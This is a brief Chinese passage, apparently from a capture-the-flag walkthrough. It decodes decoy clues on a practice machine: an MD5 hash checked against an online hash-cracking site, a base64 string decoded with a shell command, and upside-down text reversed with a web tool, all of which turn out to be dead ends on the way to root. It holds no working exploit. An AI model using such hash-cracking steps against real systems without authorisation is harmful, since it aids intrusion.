对MD5加密后的字符串进行解密, 这里推荐一个MD5解密网站: https://hashes.com/, MD5解密后的结果为: This is not a password, 意思是"这不是一个密码", 属于无效信息
对base64字符串进行解密: echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d, 解密后的内容为"lt is easy, but not that easy", 意思是"这是简单的, 但不是那个简单", 字面意思有点模拟两可, 属于无效信息
此处推荐一个处理文本倒置的在线网站:https://www.upsidedowntext.com/, 经过处理后得到的文本信息分别是"I don't thınk this is the way to root!"和"we have a lot of work to do, stop playing around", 整段意思是"我不认为这是得到root权限的一种方式, 我们有很多工作要去做, 停止在这里乱搞", 简单来说此处啥都搞不了, 要从其他地方入手
